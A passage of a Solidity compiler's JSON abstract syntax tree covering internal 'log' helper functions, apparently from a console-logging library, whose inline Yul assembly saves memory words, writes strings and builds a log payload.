28"},"value":"0x1c"},{"hexValue":"3078313034","id":46125,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"382314:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":46123,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"382292:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":46126,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"382292:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46127,"nodeType":"ExpressionStatement","src":"382292:28:22"},{"AST":{"nativeSrc":"382339:273:22","nodeType":"YulBlock","src":"382339:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"382360:4:22","nodeType":"YulLiteral","src":"382360:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"382366:2:22","nodeType":"YulIdentifier","src":"382366:2:22"}],"functionName":{"name":"mstore","nativeSrc":"382353:6:22","nodeType":"YulIdentifier","src":"382353:6:22"},"nativeSrc":"382353:16:22","nodeType":"YulFunctionCall","src":"382353:16:22"},"nativeSrc":"382353:16:22","nodeType":"YulExpressionStatement","src":"382353:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382389:4:22","nodeType":"YulLiteral","src":"382389:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"382395:2:22","nodeType":"YulIdentifier","src":"382395:2:22"}],"functionName":{"name":"mstore","nativeSrc":"382382:6:22","nodeType":"YulIdentifier","src":"382382:6:22"},"nativeSrc":"382382:16:22","nodeType":"YulFunctionCall","src":"382382:16:22"},"nativeSrc":"382382:16:22","nodeType":"YulExpressionStatement","src":"382382:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382418:4:22","nodeType":"YulLiteral","src":"382418:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"382424:2:22","nodeType":"YulIdentifier","src":"382424:2:22"}],"functionName":{"name":"mstore","nativeSrc":"382411:6:22","nodeType":"YulIdentifier","src":"382411:6:22"},"nativeSrc":"382411:16:22","nodeType":"YulFunctionCall","src":"382411:16:22"},"nativeSrc":"382411:16:22","nodeType":"YulExpressionStatement","src":"382411:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382447:4:22","nodeType":"YulLiteral","src":"382447:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"382453:2:22","nodeType":"YulIdentifier","src":"382453:2:22"}],"functionName":{"name":"mstore","nativeSrc":"382440:6:22","nodeType":"YulIdentifier","src":"382440:6:22"},"nativeSrc":"382440:16:22","nodeType":"YulFunctionCall","src":"382440:16:22"},"nativeSrc":"382440:16:22","nodeType":"YulExpressionStatement","src":"382440:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382476:4:22","nodeType":"YulLiteral","src":"382476:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"382482:2:22","nodeType":"YulIdentifier","src":"382482:2:22"}],"functionName":{"name":"mstore","nativeSrc":"382469:6:22","nodeType":"YulIdentifier","src":"382469:6:22"},"nativeSrc":"382469:16:22","nodeType":"YulFunctionCall","src":"382469:16:22"},"nativeSrc":"382469:16:22","nodeType":"YulExpressionStatement","src":"382469:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382505:4:22","nodeType":"YulLiteral","src":"382505:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"382511:2:22","nodeType":"YulIdentifier","src":"382511:2:22"}],"functionName":{"name":"mstore","nativeSrc":"382498:6:22","nodeType":"YulIdentifier","src":"382498:6:22"},"nativeSrc":"382498:16:22","nodeType":"YulFunctionCall","src":"382498:16:22"},"nativeSrc":"382498:16:22","nodeType":"YulExpressionStatement","src":"382498:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382534:4:22","nodeType":"YulLiteral","src":"382534:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"382540:2:22","nodeType":"YulIdentifier","src":"382540:2:22"}],"functionName":{"name":"mstore","nativeSrc":"382527:6:22","nodeType":"YulIdentifier","src":"382527:6:22"},"nativeSrc":"382527:16:22","nodeType":"YulFunctionCall","src":"382527:16:22"},"nativeSrc":"382527:16:22","nodeType":"YulExpressionStatement","src":"382527:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382563:4:22","nodeType":"YulLiteral","src":"382563:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"382569:2:22","nodeType":"YulIdentifier","src":"382569:2:22"}],"functionName":{"name":"mstore","nativeSrc":"382556:6:22","nodeType":"YulIdentifier","src":"382556:6:22"},"nativeSrc":"382556:16:22","nodeType":"YulFunctionCall","src":"382556:16:22"},"nativeSrc":"382556:16:22","nodeType":"YulExpressionStatement","src":"382556:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382592:5:22","nodeType":"YulLiteral","src":"382592:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"382599:2:22","nodeType":"YulIdentifier","src":"382599:2:22"}],"functionName":{"name":"mstore","nativeSrc":"382585:6:22","nodeType":"YulIdentifier","src":"382585:6:22"},"nativeSrc":"382585:17:22","nodeType":"YulFunctionCall","src":"382585:17:22"},"nativeSrc":"382585:17:22","nodeType":"YulExpressionStatement","src":"382585:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46096,"isOffset":false,"isSlot":false,"src":"382366:2:22","valueSize":1},{"declaration":46099,"isOffset":false,"isSlot":false,"src":"382395:2:22","valueSize":1},{"declaration":46102,"isOffset":false,"isSlot":false,"src":"382424:2:22","valueSize":1},{"declaration":46105,"isOffset":false,"isSlot":false,"src":"382453:2:22","valueSize":1},{"declaration":46108,"isOffset":false,"isSlot":false,"src":"382482:2:22","valueSize":1},{"declaration":46111,"isOffset":false,"isSlot":false,"src":"382511:2:22","valueSize":1},{"declaration":46114,"isOffset":false,"isSlot":false,"src":"382540:2:22","valueSize":1},{"declaration":46117,"isOffset":false,"isSlot":false,"src":"382569:2:22","valueSize":1},{"declaration":46120,"isOffset":false,"isSlot":false,"src":"382599:2:22","valueSize":1}],"id":46128,"nodeType":"InlineAssembly","src":"382330:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"381097:3:22","parameters":{"id":46093,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46086,"mutability":"mutable","name":"p0","nameLocation":"381109:2:22","nodeType":"VariableDeclaration","scope":46130,"src":"381101:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46085,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381101:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46088,"mutability":"mutable","name":"p1","nameLocation":"381121:2:22","nodeType":"VariableDeclaration","scope":46130,"src":"381113:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46087,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381113:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46090,"mutability":"mutable","name":"p2","nameLocation":"381130:2:22","nodeType":"VariableDeclaration","scope":46130,"src":"381125:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":46089,"name":"bool","nodeType":"ElementaryTypeName","src":"381125:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":46092,"mutability":"mutable","name":"p3","nameLocation":"381142:2:22","nodeType":"VariableDeclaration","scope":46130,"src":"381134:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":46091,"name":"uint256","nodeType":"ElementaryTypeName","src":"381134:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"381100:45:22"},"returnParameters":{"id":46094,"nodeType":"ParameterList","parameters":[],"src":"381160:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":46182,"nodeType":"FunctionDefinition","src":"382624:1732:22","nodes":[],"body":{"id":46181,"nodeType":"Block","src":"382696:1660:22","nodes":[],"statements":[{"assignments":[46142],"declarations":[{"constant":false,"id":46142,"mutability":"mutable","name":"m0","nameLocation":"382714:2:22","nodeType":"VariableDeclaration","scope":46181,"src":"382706:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46141,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382706:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46143,"nodeType":"VariableDeclarationStatement","src":"382706:10:22"},{"assignments":[46145],"declarations":[{"constant":false,"id":46145,"mutability":"mutable","name":"m1","nameLocation":"382734:2:22","nodeType":"VariableDeclaration","scope":46181,"src":"382726:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46144,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382726:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46146,"nodeType":"VariableDeclarationStatement","src":"382726:10:22"},{"assignments":[46148],"declarations":[{"constant":false,"id":46148,"mutability":"mutable","name":"m2","nameLocation":"382754:2:22","nodeType":"VariableDeclaration","scope":46181,"src":"382746:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46147,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382746:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46149,"nodeType":"VariableDeclarationStatement","src":"382746:10:22"},{"assignments":[46151],"declarations":[{"constant":false,"id":46151,"mutability":"mutable","name":"m3","nameLocation":"382774:2:22","nodeType":"VariableDeclaration","scope":46181,"src":"382766:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46150,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382766:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46152,"nodeType":"VariableDeclarationStatement","src":"382766:10:22"},{"assignments":[46154],"declarations":[{"constant":false,"id":46154,"mutability":"mutable","name":"m4","nameLocation":"382794:2:22","nodeType":"VariableDeclaration","scope":46181,"src":"382786:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46153,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382786:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46155,"nodeType":"VariableDeclarationStatement","src":"382786:10:22"},{"assignments":[46157],"declarations":[{"constant":false,"id":46157,"mutability":"mutable","name":"m5","nameLocation":"382814:2:22","nodeType":"VariableDeclaration","scope":46181,"src":"382806:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46156,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382806:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46158,"nodeType":"VariableDeclarationStatement","src":"382806:10:22"},{"assignments":[46160],"declarations":[{"constant":false,"id":46160,"mutability":"mutable","name":"m6","nameLocation":"382834:2:22","nodeType":"VariableDeclaration","scope":46181,"src":"382826:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46159,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382826:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46161,"nodeType":"VariableDeclarationStatement","src":"382826:10:22"},{"assignments":[46163],"declarations":[{"constant":false,"id":46163,"mutability":"mutable","name":"m7","nameLocation":"382854:2:22","nodeType":"VariableDeclaration","scope":46181,"src":"382846:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46162,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382846:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46164,"nodeType":"VariableDeclarationStatement","src":"382846:10:22"},{"assignments":[46166],"declarations":[{"constant":false,"id":46166,"mutability":"mutable","name":"m8","nameLocation":"382874:2:22","nodeType":"VariableDeclaration","scope":46181,"src":"382866:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46165,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382866:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46167,"nodeType":"VariableDeclarationStatement","src":"382866:10:22"},{"assignments":[46169],"declarations":[{"constant":false,"id":46169,"mutability":"mutable","name":"m9","nameLocation":"382894:2:22","nodeType":"VariableDeclaration","scope":46181,"src":"382886:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46168,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382886:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46170,"nodeType":"VariableDeclarationStatement","src":"382886:10:22"},{"assignments":[46172],"declarations":[{"constant":false,"id":46172,"mutability":"mutable","name":"m10","nameLocation":"382914:3:22","nodeType":"VariableDeclaration","scope":46181,"src":"382906:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46171,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382906:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46173,"nodeType":"VariableDeclarationStatement","src":"382906:11:22"},{"AST":{"nativeSrc":"382936:1024:22","nodeType":"YulBlock","src":"382936:1024:22","statements":[{"body":{"nativeSrc":"382979:313:22","nodeType":"YulBlock","src":"382979:313:22","statements":[{"nativeSrc":"382997:15:22","nodeType":"YulVariableDeclaration","src":"382997:15:22","value":{"kind":"number","nativeSrc":"383011:1:22","nodeType":"YulLiteral","src":"383011:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"383001:6:22","nodeType":"YulTypedName","src":"383001:6:22","type":""}]},{"body":{"nativeSrc":"383082:40:22","nodeType":"YulBlock","src":"383082:40:22","statements":[{"body":{"nativeSrc":"383111:9:22","nodeType":"YulBlock","src":"383111:9:22","statements":[{"nativeSrc":"383113:5:22","nodeType":"YulBreak","src":"383113:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"383099:6:22","nodeType":"YulIdentifier","src":"383099:6:22"},{"name":"w","nativeSrc":"383107:1:22","nodeType":"YulIdentifier","src":"383107:1:22"}],"functionName":{"name":"byte","nativeSrc":"383094:4:22","nodeType":"YulIdentifier","src":"383094:4:22"},"nativeSrc":"383094:15:22","nodeType":"YulFunctionCall","src":"383094:15:22"}],"functionName":{"name":"iszero","nativeSrc":"383087:6:22","nodeType":"YulIdentifier","src":"383087:6:22"},"nativeSrc":"383087:23:22","nodeType":"YulFunctionCall","src":"383087:23:22"},"nativeSrc":"383084:36:22","nodeType":"YulIf","src":"383084:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"383039:6:22","nodeType":"YulIdentifier","src":"383039:6:22"},{"kind":"number","nativeSrc":"383047:4:22","nodeType":"YulLiteral","src":"383047:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"383036:2:22","nodeType":"YulIdentifier","src":"383036:2:22"},"nativeSrc":"383036:16:22","nodeType":"YulFunctionCall","src":"383036:16:22"},"nativeSrc":"383029:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"383053:28:22","nodeType":"YulBlock","src":"383053:28:22","statements":[{"nativeSrc":"383055:24:22","nodeType":"YulAssignment","src":"383055:24:22","value":{"arguments":[{"name":"length","nativeSrc":"383069:6:22","nodeType":"YulIdentifier","src":"383069:6:22"},{"kind":"number","nativeSrc":"383077:1:22","nodeType":"YulLiteral","src":"383077:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"383065:3:22","nodeType":"YulIdentifier","src":"383065:3:22"},"nativeSrc":"383065:14:22","nodeType":"YulFunctionCall","src":"383065:14:22"},"variableNames":[{"name":"length","nativeSrc":"383055:6:22","nodeType":"YulIdentifier","src":"383055:6:22"}]}]},"pre":{"nativeSrc":"383033:2:22","nodeType":"YulBlock","src":"383033:2:22","statements":[]},"src":"383029:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"383146:3:22","nodeType":"YulIdentifier","src":"383146:3:22"},{"name":"length","nativeSrc":"383151:6:22","nodeType":"YulIdentifier","src":"383151:6:22"}],"functionName":{"name":"mstore","nativeSrc":"383139:6:22","nodeType":"YulIdentifier","src":"383139:6:22"},"nativeSrc":"383139:19:22","nodeType":"YulFunctionCall","src":"383139:19:22"},"nativeSrc":"383139:19:22","nodeType":"YulExpressionStatement","src":"383139:19:22"},{"nativeSrc":"383175:37:22","nodeType":"YulVariableDeclaration","src":"383175:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"383192:3:22","nodeType":"YulLiteral","src":"383192:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"383201:1:22","nodeType":"YulLiteral","src":"383201:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"383204:6:22","nodeType":"YulIdentifier","src":"383204:6:22"}],"functionName":{"name":"shl","nativeSrc":"383197:3:22","nodeType":"YulIdentifier","src":"383197:3:22"},"nativeSrc":"383197:14:22","nodeType":"YulFunctionCall","src":"383197:14:22"}],"functionName":{"name":"sub","nativeSrc":"383188:3:22","nodeType":"YulIdentifier","src":"383188:3:22"},"nativeSrc":"383188:24:22","nodeType":"YulFunctionCall","src":"383188:24:22"},"variables":[{"name":"shift","nativeSrc":"383179:5:22","nodeType":"YulTypedName","src":"383179:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"383240:3:22","nodeType":"YulIdentifier","src":"383240:3:22"},{"kind":"number","nativeSrc":"383245:4:22","nodeType":"YulLiteral","src":"383245:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"383236:3:22","nodeType":"YulIdentifier","src":"383236:3:22"},"nativeSrc":"383236:14:22","nodeType":"YulFunctionCall","src":"383236:14:22"},{"arguments":[{"name":"shift","nativeSrc":"383256:5:22","nodeType":"YulIdentifier","src":"383256:5:22"},{"arguments":[{"name":"shift","nativeSrc":"383267:5:22","nodeType":"YulIdentifier","src":"383267:5:22"},{"name":"w","nativeSrc":"383274:1:22","nodeType":"YulIdentifier","src":"383274:1:22"}],"functionName":{"name":"shr","nativeSrc":"383263:3:22","nodeType":"YulIdentifier","src":"383263:3:22"},"nativeSrc":"383263:13:22","nodeType":"YulFunctionCall","src":"383263:13:22"}],"functionName":{"name":"shl","nativeSrc":"383252:3:22","nodeType":"YulIdentifier","src":"383252:3:22"},"nativeSrc":"383252:25:22","nodeType":"YulFunctionCall","src":"383252:25:22"}],"functionName":{"name":"mstore","nativeSrc":"383229:6:22","nodeType":"YulIdentifier","src":"383229:6:22"},"nativeSrc":"383229:49:22","nodeType":"YulFunctionCall","src":"383229:49:22"},"nativeSrc":"383229:49:22","nodeType":"YulExpressionStatement","src":"383229:49:22"}]},"name":"writeString","nativeSrc":"382950:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"382971:3:22","nodeType":"YulTypedName","src":"382971:3:22","type":""},{"name":"w","nativeSrc":"382976:1:22","nodeType":"YulTypedName","src":"382976:1:22","type":""}],"src":"382950:342:22"},{"nativeSrc":"383305:17:22","nodeType":"YulAssignment","src":"383305:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"383317:4:22","nodeType":"YulLiteral","src":"383317:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"383311:5:22","nodeType":"YulIdentifier","src":"383311:5:22"},"nativeSrc":"383311:11:22","nodeType":"YulFunctionCall","src":"383311:11:22"},"variableNames":[{"name":"m0","nativeSrc":"383305:2:22","nodeType":"YulIdentifier","src":"383305:2:22"}]},{"nativeSrc":"383335:17:22","nodeType":"YulAssignment","src":"383335:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"383347:4:22","nodeType":"YulLiteral","src":"383347:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"383341:5:22","nodeType":"YulIdentifier","src":"383341:5:22"},"nativeSrc":"383341:11:22","nodeType":"YulFunctionCall","src":"383341:11:22"},"variableNames":[{"name":"m1","nativeSrc":"383335:2:22","nodeType":"YulIdentifier","src":"383335:2:22"}]},{"nativeSrc":"383365:17:22","nodeType":"YulAssignment","src":"383365:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"383377:4:22","nodeType":"YulLiteral","src":"383377:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"383371:5:22","nodeType":"YulIdentifier","src":"383371:5:22"},"nativeSrc":"383371:11:22","nodeType":"YulFunctionCall","src":"383371:11:22"},"variableNames":[{"name":"m2","nativeSrc":"383365:2:22","nodeType":"YulIdentifier","src":"383365:2:22"}]},{"nativeSrc":"383395:17:22","nodeType":"YulAssignment","src":"383395:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"383407:4:22","nodeType":"YulLiteral","src":"383407:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"383401:5:22","nodeType":"YulIdentifier","src":"383401:5:22"},"nativeSrc":"383401:11:22","nodeType":"YulFunctionCall","src":"383401:11:22"},"variableNames":[{"name":"m3","nativeSrc":"383395:2:22","nodeType":"YulIdentifier","src":"383395:2:22"}]},{"nativeSrc":"383425:17:22","nodeType":"YulAssignment","src":"383425:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"383437:4:22","nodeType":"YulLiteral","src":"383437:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"383431:5:22","nodeType":"YulIdentifier","src":"383431:5:22"},"nativeSrc":"383431:11:22","nodeType":"YulFunctionCall","src":"383431:11:22"},"variableNames":[{"name":"m4","nativeSrc":"383425:2:22","nodeType":"YulIdentifier","src":"383425:2:22"}]},{"nativeSrc":"383455:17:22","nodeType":"YulAssignment","src":"383455:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"383467:4:22","nodeType":"YulLiteral","src":"383467:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"383461:5:22","nodeType":"YulIdentifier","src":"383461:5:22"},"nativeSrc":"383461:11:22","nodeType":"YulFunctionCall","src":"383461:11:22"},"variableNames":[{"name":"m5","nativeSrc":"383455:2:22","nodeType":"YulIdentifier","src":"383455:2:22"}]},{"nativeSrc":"383485:17:22","nodeType":"YulAssignment","src":"383485:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"383497:4:22","nodeType":"YulLiteral","src":"383497:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"383491:5:22","nodeType":"YulIdentifier","src":"383491:5:22"},"nativeSrc":"383491:11:22","nodeType":"YulFunctionCall","src":"383491:11:22"},"variableNames":[{"name":"m6","nativeSrc":"383485:2:22","nodeType":"YulIdentifier","src":"383485:2:22"}]},{"nativeSrc":"383515:17:22","nodeType":"YulAssignment","src":"383515:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"383527:4:22","nodeType":"YulLiteral","src":"383527:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"383521:5:22","nodeType":"YulIdentifier","src":"383521:5:22"},"nativeSrc":"383521:11:22","nodeType":"YulFunctionCall","src":"383521:11:22"},"variableNames":[{"name":"m7","nativeSrc":"383515:2:22","nodeType":"YulIdentifier","src":"383515:2:22"}]},{"nativeSrc":"383545:18:22","nodeType":"YulAssignment","src":"383545:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"383557:5:22","nodeType":"YulLiteral","src":"383557:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"383551:5:22","nodeType":"YulIdentifier","src":"383551:5:22"},"nativeSrc":"383551:12:22","nodeType":"YulFunctionCall","src":"383551:12:22"},"variableNames":[{"name":"m8","nativeSrc":"383545:2:22","nodeType":"YulIdentifier","src":"383545:2:22"}]},{"nativeSrc":"383576:18:22","nodeType":"YulAssignment","src":"383576:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"383588:5:22","nodeType":"YulLiteral","src":"383588:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"383582:5:22","nodeType":"YulIdentifier","src":"383582:5:22"},"nativeSrc":"383582:12:22","nodeType":"YulFunctionCall","src":"383582:12:22"},"variableNames":[{"name":"m9","nativeSrc":"383576:2:22","nodeType":"YulIdentifier","src":"383576:2:22"}]},{"nativeSrc":"383607:19:22","nodeType":"YulAssignment","src":"383607:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"383620:5:22","nodeType":"YulLiteral","src":"383620:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"383614:5:22","nodeType":"YulIdentifier","src":"383614:5:22"},"nativeSrc":"383614:12:22","nodeType":"YulFunctionCall","src":"383614:12:22"},"variableNames":[{"name":"m10","nativeSrc":"383607:3:22","nodeType":"YulIdentifier","src":"383607:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"383707:4:22","nodeType":"YulLiteral","src":"383707:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"383713:10:22","nodeType":"YulLiteral","src":"383713:10:22","type":"","value":"0x5e84b0ea"}],"functionName":{"name":"mstore","nativeSrc":"383700:6:22","nodeType":"YulIdentifier","src":"383700:6:22"},"nativeSrc":"383700:24:22","nodeType":"YulFunctionCall","src":"383700:24:22"},"nativeSrc":"383700:24:22","nodeType":"YulExpressionStatement","src":"383700:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"383744:4:22","nodeType":"YulLiteral","src":"383744:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"383750:4:22","nodeType":"YulLiteral","src":"383750:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"383737:6:22","nodeType":"YulIdentifier","src":"383737:6:22"},"nativeSrc":"383737:18:22","nodeType":"YulFunctionCall","src":"383737:18:22"},"nativeSrc":"383737:18:22","nodeType":"YulExpressionStatement","src":"383737:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"383775:4:22","nodeType":"YulLiteral","src":"383775:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"383781:4:22","nodeType":"YulLiteral","src":"383781:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"383768:6:22","nodeType":"YulIdentifier","src":"383768:6:22"},"nativeSrc":"383768:18:22","nodeType":"YulFunctionCall","src":"383768:18:22"},"nativeSrc":"383768:18:22","nodeType":"YulExpressionStatement","src":"383768:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"383806:4:22","nodeType":"YulLiteral","src":"383806:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"383812:2:22","nodeType":"YulIdentifier","src":"383812:2:22"}],"functionName":{"name":"mstore","nativeSrc":"383799:6:22","nodeType":"YulIdentifier","src":"383799:6:22"},"nativeSrc":"383799:16:22","nodeType":"YulFunctionCall","src":"383799:16:22"},"nativeSrc":"383799:16:22","nodeType":"YulExpressionStatement","src":"383799:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"383835:4:22","nodeType":"YulLiteral","src":"383835:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"383841:5:22","nodeType":"YulLiteral","src":"383841:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"383828:6:22","nodeType":"YulIdentifier","src":"383828:6:22"},"nativeSrc":"383828:19:22","nodeType":"YulFunctionCall","src":"383828:19:22"},"nativeSrc":"383828:19:22","nodeType":"YulExpressionStatement","src":"383828:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"383872:4:22","nodeType":"YulLiteral","src":"383872:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"383878:2:22","nodeType":"YulIdentifier","src":"383878:2:22"}],"functionName":{"name":"writeString","nativeSrc":"383860:11:22","nodeType":"YulIdentifier","src":"383860:11:22"},"nativeSrc":"383860:21:22","nodeType":"YulFunctionCall","src":"383860:21:22"},"nativeSrc":"383860:21:22","nodeType":"YulExpressionStatement","src":"383860:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"383906:4:22","n